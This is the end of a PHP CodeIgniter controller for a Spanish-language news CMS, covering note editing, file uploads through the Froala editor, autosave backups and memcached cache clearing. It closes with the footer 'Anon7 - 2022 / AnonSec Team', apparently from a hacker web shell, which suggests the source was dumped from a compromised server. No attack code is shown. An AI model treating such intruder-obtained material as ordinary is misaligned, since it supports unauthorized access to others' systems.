        $datos_plantilla["padre"] = ucwords("Notas");
        $datos_plantilla["title"] = ucwords("Editar Nota");
        $datos_plantilla["contenido_main"] = $this->load->view('components/misnotas/notas_edit', $this->data, true);

        $this->load->view('template/panel', $datos_plantilla);
    }

    function cargararchivo() {

        $rutaArchivo = $this->genesis_lb->subirArchivo(); //Obtengo la ruta donde guardo el archivo
        // Include the editor SDK.
        include FROALA_PATH . 'editor-php-sdk/lib/autoload.php';

        if (version_compare(PHP_VERSION, '5.4.0', '<')) {
            throw new Braintree_Exception('PHP version >= 5.4.0 required');
        }

        try {
            $response = FroalaEditor_File::upload2($rutaArchivo);
            echo stripslashes(json_encode($response));
        }//fin del try
        catch (Exception $e) {
            http_response_code(404);
        }
    }

    function lastactive($id) {
        $usuario = $this->session->userdata('user_id');
        $ahora = date("YmdHis");

        $data = array(
            'lastactive' => $ahora . "_" . $usuario,
        );
        $this->codegen_model->edit('nota', $data, 'id', $id);

        return true;
    }

    public function autosave($idnota = '') {

        $ultimoid = $this->notas_md->getUltimoIDNota();
        $idfinal = $ultimoid->id + 1;

        if ($idnota == '') {
            $idnota = $idfinal;
        }

        $data = array(
            'id_nota' => $idnota,
            'anteTitulo' => $this->input->post('antetitulo'),
            'titulo' => $this->input->post('titulo'),
            'sumario' => $this->input->post('bajada'),
            'texto' => $this->input->post('content'),
        );
        $this->codegen_model->add('nota_backup', $data);
    }

    public function _recargar_cache($nota_id = 0, $seccion_id = 0) {
        $this->load->library('memcached_library');

        if ($nota_id > 0) {
            /* Me fijo si esta cacheada la nota */
            $nota_en_cache = $this->memcached_library->get('nota_' . $nota_id);
            if ($nota_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id);
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheada la firma de la nota */
            $nota_firma_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_autor');
            if ($nota_firma_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_autor');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado los tags de la nota */
            $nota_tags_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_tags');
            if ($nota_tags_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_tags');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado las fotos de la nota */
            $nota_fotos_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_fotos');
            if ($nota_fotos_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_fotos');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado los videos de la nota */
            $nota_videos_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_videos');
            if ($nota_videos_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_videos');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado los videos de la nota */
            $nota_adjuntos_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_adjuntos');
            if ($nota_adjuntos_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_adjuntos');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado los videos de la nota */
            $nota_encuestas_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_encuestas');
            if ($nota_encuestas_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_encuestas');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado los videos de la nota */
            $nota_evento_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_evento');
            if ($nota_evento_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_evento');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado los videos de la nota */
            $nota_lugares_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_lugares');
            if ($nota_lugares_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_lugares');
            /*             * ********Fin Cache************** */
        }

        /* Me fijo si esta cacheada la nota */
        $rank_en_cache = $this->memcached_library->get('masvistas');
        if ($rank_en_cache)
            $this->memcached_library->delete('masvistas');
        /*         * ********Fin Cache************** */

        /* Me fijo si esta Ranking */
        $rank_en_cache = $this->memcached_library->get('ult_notas');
        if ($rank_en_cache)
            $this->memcached_library->delete('ult_notas');
        /*         * ********Fin Cache************** */
        /* Me fijo si esta Ranking */
        $rank_en_cache = $this->memcached_library->get('vis_notas');
        if ($rank_en_cache)
            $this->memcached_library->delete('vis_notas');
        /*         * ********Fin Cache************** */
        /* Me fijo si esta Ranking */
        $rank_en_cache = $this->memcached_library->get('com_notas');
        if ($rank_en_cache)
            $this->memcached_library->delete('com_notas');
        /*         * ********Fin Cache************** */
        /* Me fijo si UM */
        $um_en_cache = $this->memcached_library->get('nota_seccion_um');
        if ($um_en_cache)
            $this->memcached_library->delete('nota_seccion_um');
        /*         * ********Fin Cache************** */


        /* Me fijo si esta cacheado las secciones home */
        $nota_seccion_home_en_cache = $this->memcached_library->get('notas_tag_' . $seccion_id . '_home');
        if ($nota_seccion_home_en_cache)
            $this->memcached_library->delete('notas_tag_' . $seccion_id . '_home');
        /*         * ********Fin Cache************** */

        /* Borro cache de todas las secciones home */
        $nota_seccion_todas_en_cache = $this->memcached_library->get('notas_tag_0_home');
        if ($nota_seccion_todas_en_cache)
            $this->memcached_library->delete('notas_tag_0_home');
        /*         * ********Fin Cache************** */

        /* Me fijo si esta cacheado del bloque home por sección */
        $nota_bloque_home_en_cache = $this->memcached_library->get('bloque_automatico_home_' . $seccion_id);
        if ($nota_bloque_home_en_cache)
            $this->memcached_library->delete('bloque_automatico_home_' . $seccion_id);
        /*         * ********Fin Cache************** */

        /* Me fijo si esta cacheado del bloque home por general */
        $nota_bloque_home_general_en_cache = $this->memcached_library->get('bloque_automatico_home_0');
        if ($nota_bloque_home_general_en_cache)
            $this->memcached_library->delete('bloque_automatico_home_0');
        /*         * ********Fin Cache************** */
    }

    function get_string_between($string, $start, $end) {
        // Función para desarmar los tags

        $string = ' ' . $string;
        $ini = strpos($string, $start);
        if ($ini == 0)
            return '';
        $ini += strlen($start);
        $len = strpos($string, $end, $ini) - $ini;
        return substr($string, $ini, $len);
    }

}

/* End of file Notas.php */
/* Location: ./system/application/controllers/Notas.php */

Anon7 - 2022
AnonSec Team